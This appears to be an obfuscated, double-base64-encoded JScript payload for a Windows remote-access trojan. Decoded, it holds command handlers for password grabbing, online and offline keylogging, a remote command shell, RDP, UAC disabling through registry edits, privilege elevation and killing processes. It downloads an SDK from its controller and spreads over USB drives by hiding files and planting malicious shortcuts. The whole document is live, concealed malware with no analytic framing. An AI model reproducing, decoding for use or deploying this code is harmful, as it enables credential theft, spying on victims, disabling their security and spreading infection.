c2JDMXpaR3NpT2dvSkNRa0pJQ0JwYm5OMFlXeHNjMlJyS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0puWlhRdGNHRnpjeUk2Q2drSkNRa2dJSEJoYzNObmNtRmlZbVZ5S0dOdFpGc3hYU3dnSW1OdFpHTXVaWGhsSWl3Z1kyMWtXekpkS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltZGxkQzF3WVhOekxXOW1abXhwYm1VaU9nb0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpaGpiV1JiTTEwc0lDSmpiV1JqTG1WNFpTSXNJQ0pwWlNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpZ2liblZzYkNJc0lDSmpiV1JqTG1WNFpTSXNJQ0pqYUhKdmJXVWlLVHNLQ1FrSkNTPj4lZ2NHRnpjMmR5WVdKaVpYSW9JbTUxYkd3aUxDPj4laVkyMWtZeTVsZUdVaUxDPj4laWJXOTZhV3hzWVNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNqSW9ZMjFrV3pGZExDPj4laVkyMWtZeTVsZUdVaUxDQmpiV1JiTWwwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlkWEJrWVhSbElqb0tDUWtKQ1M+PiVnY0dGeVlXMGdQU0J5WlhOd2IyNXpaUzV6ZFdKemRISW9jbVZ6Y0c5dWMyVXVhVzVrWlhoUFppZ2lmQ0lwSUNzZ01TazdDZ2tKQ1FrZ0lHOXVaVzl1WTJVdVkyeHZjMlVvS1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTPj4lOUlHWnBiR1Z6ZVhOMFpXMXZZbW91YjNCbGJsUmxlSFJHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeUJwYm5OMFlXeHNibUZ0WlM+PiVzTWl3Z1ptRnNjMlVwT3dvSkNRa0pJQ0J2Ym1WdmJtTmxMbmR5YVhSbEtIQmhjbUZ0S1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTNWpiRzl6WlNncE93b0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUtUc0tDUWtKQ1M+PiVnVjFOamNtbHdkQzV4ZFdsMEtDazdDZ2tKQ1dOaGMyVWdJblZ1YVc1emRHRnNiQ0k2Q2drSkNRa2dJSFZ1YVc1emRHRnNiQ2dwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTPj4laWRYPj4ldGJpMWxlR1ZqSWpvS0NRa0pDUz4+JWdaRzkzYm14dllXUW9ZMjFrV3pGZExHTnRaRnN5WFNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0ppY21sdVp5MXNiMmNpT2dvSkNRa0pJQ0IxY0d4dllXUW9hVzV6ZEdGc2JHUnBjaT4+JXJJQ0ozYzJoc2IyZHpYRndpSUNzZ1kyMWtXekZkTEM+PiVpZEdGclpTMXNiMmNpS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltUnZkMjR0YmkxbGVHVmpJam9LQ1FrSkNTPj4lZ2MybDBaV1J2ZDI1c2IyRmtaWElvWTIxa1d6RmRMR050WkZzeVhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpWm1sc1pXMWhibUZuWlhJaU9nb0pDUWtKSUNCelpYSjJhV05sYzNSaGNuUmxjaWhqYldSYk1WMHNJQ0ptYlMxd2JIVm5hVzR1WlhobElpd2dhVzVtYjNKdFlYUnBiMjRvS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWljbVJ3SWpvS0NRa0pDUz4+JWdjMlZ5ZG1salpYTjBZWEowWlhJb1kyMWtXekZkTEM+PiVpY21RdGNHeDFaMmx1TG1WNFpTSXNJR2x1Wm05eWJXRjBhVzl1S0NrcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbXRsZVd4dloyZGxjaUk2Q2drSkNRa2dJR3RsZVd4dloyZGxjbk4wWVhKMFpYSW9ZMjFrV3pGZExDPj4laWEyd3RjR3gxWjJsdUxtVjRaU0lzSUdsdVptOXliV0YwYVc5dUtDa3NJRD4+JXBPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlM+PiVnSW05bVpteHBibVV0YTJWNWJHOW5aMlZ5SWpvS0NRa0pDUz4+JWdhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0p0WVhScGIyNG9LU3dnTVNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZbkp2ZDNObExXeHZaM01pT2dvSkNRa0pJQ0J3YjNOMEtDSnBjeTFzYjJkeklpd2daVzUxYldaaFppaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFHeHZaM01pS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZMjFrTFhOb1pXeHNJam9LQ1FrSkNTPj4lZ2NHRnlZVzBnUFNCamJXUmJNVjA3Q2drSkNRa2dJSEJ2YzNRb0ltbHpMV050WkMxemFHVnNiQ0lzWTIxa2MyaGxiR3dvY0dGeVlXMHBLVHNLQ1FrSkNTPj4lZ1luSmxZV3M3Q2drSkNXTmhjMlVnSUNKblpYUXRjSEp2WTJWemMyVnpJam9LQ1FrSkNTPj4lZ2NHOXpkQ2dpYVhNdGNISnZZMlZ6YzJWeklpd2daVzUxYlhCeWIyTmxjM01vS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlaR2x6WVdKc1pTMTFZV01pT2dvSkNRa0pJQ0JrYVhOaFlteGxVMlZqZFhKcGRIa29LVHNLQ1FrSkNTPj4lZ2RYQmtZWFJsYzNSaGRIVnpLQ0pWUVVNclJHbHpZV0pzWldRcktGSmxZbTl2ZEN0U1pYRjFhWEpsWkNraUtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYUdWamF5MWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LR1pwYkdWemVYTjBaVzF2WW1vdVptbHNaVVY0YVhOMGN5aGpiV1JiTVYwcEtYc0tDUWtKQ1FsMWNHUmhkR1Z6ZEdGMGRYTW9Ja2x6SzBWc2FXZHBZbXhsSWlrN0Nna0pDUWtnSUgxbGJITmxld29KQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpVG05MEswVnNhV2RwWW14bElpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYjNKalpTMWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LRmRUWTNKcGNIUXVRWEpuZFcxbGJuUnpMazVoYldWa0xrVjRhWE4wY3lnaVpXeGxkbUYwWldRaUtTPj4lOVBTQjBjblZsS1hzS0NRa0pDUWxwWmlobWFXeGxjM2x6ZEdWdGIySnFMbVp2YkdSbGNrVjRhWE4wY3loamJXUmJNVjBwS1hzS0NRa0pDUWtKYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpGc3lYU3dnTUN3Z2RISjFaU2s3Q2drSkNRa0pDWFZ3WkdGMFpYTjBZWFIxY3lnaVUxVkRRMFZUVXlJcE93b0pDUWtKQ1gxbGJITmxld29KQ1FrSkNRbDFjR1JoZEdWemRHRjBkWE1vSWtOdmJYQnZibVZ1ZEN0TmFYTnphVzVuSWlrN0Nna0pDUWtKZlFvSkNRa0pJQ0I5Q2drSkNRa2dJR1ZzYzJWN0Nna0pDUWtKZFhCa1lYUmxjM1JoZEhWektDSkZiR1YyWVhScGIyNHJVbVZ4ZFdseVpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbVZzWlhaaGRHVWlPZ29KQ1FrSklDQnBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1FrSkNYUnllWHNLQ1FrSkNRa2dJRzl1Wlc5dVkyVXVZMnh2YzJVb0tUc0tDUWtKQ1FrZ0lHOXVaVzl1WTJVZ1BTQnVkV3hzT3dvSkNRa0pDUz4+JWdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSWxOb1pXeHNMa0Z3Y0d4cFkyRjBhVzl1SWlrdVUyaGxiR3hGZUdWamRYUmxLQ0ozYzJOeWFYQjBMbVY0WlNJc0lDSWdMeTlDSUZ3aUlpPj4lcklGZFRZM0pwY0hRdVUyTnlhWEIwUm5Wc2JFNWhiV1VnS3k+PiVpWENJZ0wyVnNaWFpoZEdWa0lpd2dJaUlzSUNKeWRXNWhjeUlzSURFcE93b0pDUWtKQ1M+PiVnZFhCa1lYUmxjM1JoZEhWektDSkRiR2xsYm5RclJXeGxkbUYwWldRaUtUc0tDUWtKQ1FsOVkyRjBZMmdvYm00cGV3b0pDUWtKQ1gwS0NRa0pDUWxYVTJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKQ1M+PiVnZlFvSkNRa0pJQ0JsYkhObGV3b0pDUWtKSUM+PiVKSUNCMWNHUmhkR1Z6ZEdGMGRYTW9Ja05zYVdWdWRDdEZiR1YyWVhSbFpDSXBPd29KQ1FrSklDQjlDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpYVdZdFpXeGxkbUYwWlNJNkNna0pDUWtnSUdsbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1M+PiU5UFNCbVlXeHpaU2w3Q2drSkNRa0pJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrTnNhV1Z1ZEN0T2IzUXJSV3hsZG1GMFpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCbGJITmxld29KQ1FrSklDPj4lSklDQjFjR1JoZEdWemRHRjBkWE1vSWtOc2FXVnVkQ3RGYkdWMllYUmxaQ0lwT3dvSkNRa0pJQ0I5Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDPj4laWEybHNiQzF3Y205alpYTnpJam9LQ1FrSkNTPj4lZ1pYaHBkSEJ5YjJObGMzTW9ZMjFrV3pGZEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0p6YkdWbGNDSTZDZ2tKQ1FrZ0lIQmhjbUZ0SUQwZ1kyMWtXekZkT3dvSkNRa0pJQ0J6YkdWbGNDPj4lOUlHVjJZV3dvY0dGeVlXMHBPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCaWNtVmhhenNLQ1FsOUNna0pDZ2w5WTJGMFkyZ29aWElwZTMwS0NWZFRZM0pwY0hRdWMyeGxaWD4+JW9jMnhsWlg+PiVwT3dwOUNncG1kVzVqZEdsdmJpQnBibk4wWVd4c2MyUnJLQ2w3Q2dsMGNubDdDZ2tKZG1GeUlITmthM1Z5YkM+PiU5SUhCdmMzUW9JbTF2ZWkxelpHc2lMQz4+JWlJaWs3Q2drSmRtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1c5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCelpHdDFjbXdzSUdaaGJITmxLVHNLQ1FsdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJEb2lMQz4+JWliV0Y0TFdGblpUMHdJaWs3Q2drSmIySnFhSFIwY0dSdmQyNXNiMkZrTG5ObGJtUW9LVHNLQ2drSmFXWW9abWxzWlhONWMzUmxiVzlpYWk1bWFXeGxSWGhwYzNSektHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwS1hzS0NRa0pabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwT3dvSkNYMEtDUWtnQ2drSmFXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLQ1FrZ0lIUnllWHNLQ1FrZ0lDQjJZWElnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9JbUZrYjJSaUxuTjBjbVZoYlNJcE93b0pDUz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbFI1Y0dVZ1BTPj4leE95Pj4lS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDZ2tKSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2drSklDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVUyRjJaVlJ2Um1sc1pTaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFITmtheTU2YVg+PiVpS1RzS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29KQ1M+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FrZ0lIMWpZWFJqYUNobGVpbDdDZ2tKQ1FvSkNTPj4lZ2ZRb0pDWDBLQ1FscFppaG1hV3hsYzNsemRHVnRiMkpxTG1acGJHVkZlR2x6ZEhNb2FXNXpkR0ZzYkdScGNpPj4lcklDSjNjMmh6WkdzdWVtbHdJaWtwZXdvSkNRa3ZMM1Z1ZW1sd0lIUm9aU0JtYVd4bEk+PiVvSkNRbFZibHBwY0NocGJuTjBZV3hzWkdseUlDc2dJbmR6YUhOa2F5NTZhWD4+JWlMQ0J6Wkd0d1lYUm9LVHNLQ1FrSmRYQmtZWFJsYzNSaGRIVnpLQ0pUUkVzclNXNXpkR0ZzYkdWa0lpazdDZ2tKZlFvSmZXTmhkR05vS0dWeWNpbDdmUXA5Q2dwbWRXNWpkR2x2YmlCcGJuTjBZV3hzS0NsN0NuWmhjaUJzYm10dlltbzdDblpoY2lCbWFXeGxibUZ0WlRzS2RtRnlJR1p2YkdSbGNtNWhiV1U3Q25aaGNpQm1hV3hsYVdOdmJqc0tkbUZ5SUdadmJHUmxjbWxqYjI0N0NncDFjSE4wWVhKMEtDazdDZ3BtYjNJb2RtRnlJR1J5YVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVpISnBkbVZ6S1RzZ0lXUnlhUzVoZEVWdVpDZ3BPeUJrY21rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2NtbDJaUz4+JTlJR1J5YVM1cGRHVnRLQ2s3Q21sbUlDaGtjbWwyWlM1cGMzSmxZV1I1SUQwOUlIUnlkV1VwZXdwcFppPj4lb1pISnBkbVV1Wm5KbFpYTndZV05sSUQ0Z01DPj4lcGV3cHBaaT4+JW9aSEpwZG1VdVpISnBkbVYwZVhCbElEMDlJREVnS1hzS0NYUnllWHNLQ1FsbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVZ0xDQmtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lcklHbHVjM1JoYkd4dVlXMWxMSFJ5ZFdVcE93b0pDV2xtSUNobWFXeGxjM2x6ZEdWdGIySnFMbVpwYkdWRmVHbHpkSE1nS0dSeWFYWmxMbkJoZEdnZ0t5Pj4laVhGd2lJQ3NnYVc1emRHRnNiRzVoYldVcEtYc0tDUWtKWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUM+PiVySUdsdWMzUmhiR3h1WVcxbEtTNWhkSFJ5YVdKMWRHVnpJRDBnTWlzME93b0pDWDBLQ1gxallYUmphQ2hsYVdwMUtYdDlDaT4+JWdJQ0JtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYjJ4a1pYSW9aSEpwZG1VdWNHRjBhQz4+JXJJQ0pjWENJcExtWnBiR1Z6S1RzZ0lXWnBMbUYwUlc1a0tDazdJR1pwTG0xdmRtVk9aWGgwS0NrcGV3b0pDWFJ5ZVhzS0NRbDJZWElnWm1sc1pTPj4lOUlHWnBMbWwwWlcwb0tUc0tJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvYkc1clptbHNaUz4+JTlQU0JtWVd4elpTbDdZbkpsWVdzN2ZRb2dJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWFXNWtaWGhQWmlnaUxpSXBLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYVdZZ0tDaG1hV3hsTG01aGJXVXVjM0JzYVhRb0lpNGlLVnRtYVd4bExtNWhiV1V1YzNCc2FYUW9JaTRpS1M1c1pXNW5kR2dnTFM+PiV4WFNrdWRHOU1iM2RsY2tOaGMyVW9LUz4+JWhQUz4+JWliRzVySWlsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvWm1sc1pTNXVZVzFsTG5SdlZYQndaWEpEWVhObEtDa2dJVDBnYVc1emRHRnNiRzVoYldVdWRHOVZjSEJsY2tOaGMyVW9LU2w3Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JzYm10dlltb2dQU0J6YUdWc2JHOWlhaTVqY21WaGRHVlRhRzl5ZEdOMWRDaGtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lZ0t5Qm1hV3hsYm1GdFpWc3dYUz4+JXJJQ0l1Ykc1cklpazdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdiRzVyYjJKcUxuZHBibVJ2ZDFOMGVXeGxJRDBnTnpzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWRHRnlaMlYwVUdGMGFDPj4lOUlDSmpiV1F1WlhobElqc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JzYm10dlltb3VkMjl5YTJsdVowUnBjbVZqZEc5eWVTPj4lOUlDSWlPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTVoY21kMWJXVnVkSE1nUFM+PiVpTDJNZ2MzUmhjblFnSWk+PiVySUdsdWMzUmhiR3h1WVcxbExuSmxjR3hoWTJVb2JtVjNJRkpsWjBWNGNDZ2lJQ0lzSUNKbklpa3NJQ0pjSWlCY0lpSXBJQ3NnSWlaemRHRnlkQz4+JWlJQ3NnWm1sc1pTNXVZVzFsTG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnaUlDSXNJQ0puSWlrc0lDSmNJaUJjSWlJcElDc2lKbVY0YVhRaU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSFJ5ZVh0bWFXeGxhV052Ymk+PiU5SUhOb1pXeHNiMkpxTGxKbFoxSmxZV1FnS0NKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY1hITnZablIzWVhKbFhGeGpiR0Z6YzJWelhGd2lJQ3NnYzJobGJHeHZZbW91VW1WblVtVmhaQz4+JW9Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnhjYzI5bWRIZGhjbVZjWEdOc1lYTnpaWE5jWEM0aUlDc2dabWxzWlM1dVlXMWxMbk53YkdsMEtDSXVJaWxiWm1sc1pTNXVZVzFsTG5Od2JHbDBLQ0l1SWlrdWJHVnVaM1JvSUMwZ01WMHJJQ0pjWENJcElDc2dJbHhjWkdWbVlYVnNkR2xqYjI1Y1hDSXBPeUI5WTJGMFkyZ29aV1ZsWlNsN2ZRb2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxhV052Ymk1cGJtUmxlRTltS0NJc0lpa2dQVDBnTUNsN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWFXTnZia3h2WTJGMGFXOXVJRDBnWm1sc1pTNXdZWFJvT3dvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lIMWxiSE5sSUhzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ2JHNXJiMkpxTG1samIyNU1iMk5oZEdsdmJpPj4lOUlHWnBiR1ZwWTI5dU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSDBLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCc2JtdHZZbW91YzJGMlpTZ3BPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdmUW9KQ1gxallYUmphQ2hsY25JcGUzMEtJQz4+JWdJSDBLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwwY25sN0Nna0pkbUZ5SUdadmJHUmxjaT4+JTlJR1pwTG1sMFpXMG9LVHNLSUM+PiVnSUM+PiVnSUNCcFppPj4lb2JHNXJabTlzWkdWeUlEMDlJR1poYkhObEtYdGljbVZoYXp0OUNpPj4lZ0lDPj4lZ0lDPj4lZ1ptOXNaR1Z5TG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdabTlzWkdWeWJtRnRaUz4+JTlJR1p2YkdSbGNpNXVZVzFsT3dvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk+PiU5SUhOb1pXeHNiMkpxTG1OeVpXRjBaVk5vYjNKMFkzVjBLR1J5YVhabExuQmhkR2dnS3k+PiVpWEZ3aUlDPj4lcklHWnZiR1JsY201aGJXVWdLeT4+JWlMbXh1YXlJcE95Pj4lS0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWQybHVaRzkzVTNSNWJHVWdQUz4+JTNPd29nSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTUwWVhKblpYUlFZWFJvSUQwZ0ltTnRaQzVsZUdVaU93b2dJQz4+JWdJQz4+JWdJR3h1YTI5aWFpNTNiM0pyYVc1blJHbHlaV04wYjNKNUlEMGdJaUk3Q2k+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbUZ5WjNWdFpXNTBjeT4+JTlJQ0l2WXlCemRHRnlkQz4+JWlJQ3NnYVc1emRHRnNiRzVoYldVdWNtVndiR0ZqWlNodVpYY2dVbVZuUlhod0tDSWdJaXdnSW1jaUtTd2dJbHdpSUZ3aUlpa2dLeT4+JWlKbk4wWVhKMElHVjRjR3h2Y21WeUlDSWdLeUJtYjJ4a1pYSXVibUZ0WlM1eVpYQnNZV05sS0c1bGR5QlNaV2RGZUg+PiVvSWk+PiVpTEM+PiVpWnlJcExDPj4laVhDSWdYQ0lpS1M+PiVySWlabGVHbDBJanNLSUM+PiVnSUM+PiVnSUNCbWIyeGtaWEpwWTI5dUlEMGdjMmhsYkd4dlltb3VVbVZuVW1WaFpDZ2lTRXRGV1Y5TVQwTkJURjlOUVVOSVNVNUZYRnh6YjJaMGQyRnlaVnhjWTJ4aGMzTmxjMXhjWm05c1pHVnlYRnhrWldaaGRXeDBhV052Ymx4Y0lpazdJPj4lb2dJQz4+JWdJQz4+JWdJR2xtSUNobWIyeGtaWEpwWTI5dUxtbHVaR1Y0VDJZb0lpd2lLUz4+JTlQUz4+JXdLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbWxqYjI1TWIyTmhkR2x2Ymk+PiU5SUdadmJHUmxjaTV3WVhSb093b2dJQz4+JWdJQz4+JWdJSDFsYkhObElIc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdiRzVyYjJKcUxtbGpiMjVNYjJOaGRHbHZiaT4+JTlJR1p2YkdSbGNtbGpiMjQ3Q2k+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk1ellYWmxLQ2s3Q2drSmZXTmhkR05vS0dWeWNpbDdmUW9nSUM+PiVnZlFwOUNuMEtmUXA5Q24wS0NtWjFibU4wYVc5dUlITjBZWEowZFhCRmJHVjJZWFJsS0NsN0NnbHBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1hSeWVYc0tDUWtKVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0lsTm9aV3hzTGtGd2NHeHBZMkYwYVc5dUlpa3VVMmhsYkd4RmVHVmpkWFJsS0NKM2MyTnlhWEIwTG1WNFpTSXNJQ0lnTHk5Q0lGd2lJaT4+JXJJRmRUWTNKcGNIUXVVMk55YVhCMFJuVnNiRTVoYldVZ0t5Pj4laVhDSWdMMlZzWlhaaGRHVmtJaXdnSWlJc0lDSnlkVzVoY3lJc0lERXBPd29KQ1gxallYUmphQ2h1YmlsN0Nna0pmUW9KQ1ZkVFkzSnBjSFF1Y1hWcGRDZ3BPd29KZlFwOUNncG1kVzVqZEdsdmJpQmthWE5oWW14bFUyVmpkWEpwZEhrb0tYc0tDV2xtS0ZkVFkzSnBjSFF1UVhKbmRXMWxiblJ6TGs1aGJXVmtMa1Y0YVhOMGN5Z2laV3hsZG1GMFpXUWlLUz4+JTlQU0IwY25WbEtYc0tDUWwyWVhJZ2IxSmxaeT4+JTlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNU1aWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdSbFptRjFiSFE2VTNSa1VtVm5VSEp2ZGlJcE93b0pDVzlTWldjdVUyVjBSSGR2Y21SV1lXeDFaU2d3ZURnd01EPj4ld01EPj4leUxDSlRUMFpVVjBGU1JWeGNUV2xqY205emIyWjBYRnhYYVc1a2IzZHpYRnhEZFhKeVpXNTBWbVZ5YzJsdmJseGNVRzlzYVdOcFpYTmNYRk41YzNSbGJTSXNJa1Z1WVdKc1pVeFZRU0lzSUQ+PiVwT3dvSkNXOVNaV2N1VTJWMFJIZHZjbVJXWVd4MVpTZ3dlRGd3TUQ+PiV3TUQ+PiV5TENKVFQwWlVWMEZTUlZ4Y1RXbGpjbTl6YjJaMFhGeFhhVzVrYjNkelhGeERkWEp5Wlc1MFZtVnljMmx2Ymx4Y1VHOXNhV05wWlhOY1hGTjVjM1JsYlNJc0lrTnZibk5sYm5SUWNtOXRjSFJDWldoaGRtbHZja0ZrYldsdUlpd2dNQ2s3Q2drSmIxSmxaeT4+JTlJRzUxYkd3N0NnbDlDbjBLQ21aMWJtTjBhVzl1SUhWdWFXNXpkR0ZzYkNncGV3cDBjbmw3Q25aaGNpQm1hV3hsYm1GdFpUc0tkbUZ5SUdadmJHUmxjbTVoYldVN0NuUnllWHNLSUM+PiVnSUhOb1pXeHNiMkpxTGxKbFowUmxiR1YwWlNnaVNFdEZXVjlEVlZKU1JVNVVYMVZUUlZKY1hITnZablIzWVhKbFhGeHRhV055YjNOdlpuUmNYSGRwYm1SdmQzTmNYR04xY25KbGJuUjJaWEp6YVc5dVhGeHlkVzVjWENJZ0t5QnBibk4wWVd4c2JtRnRaUzV6Y0d4cGRDZ2lMaUlwV3pCZEtUc0tJQz4+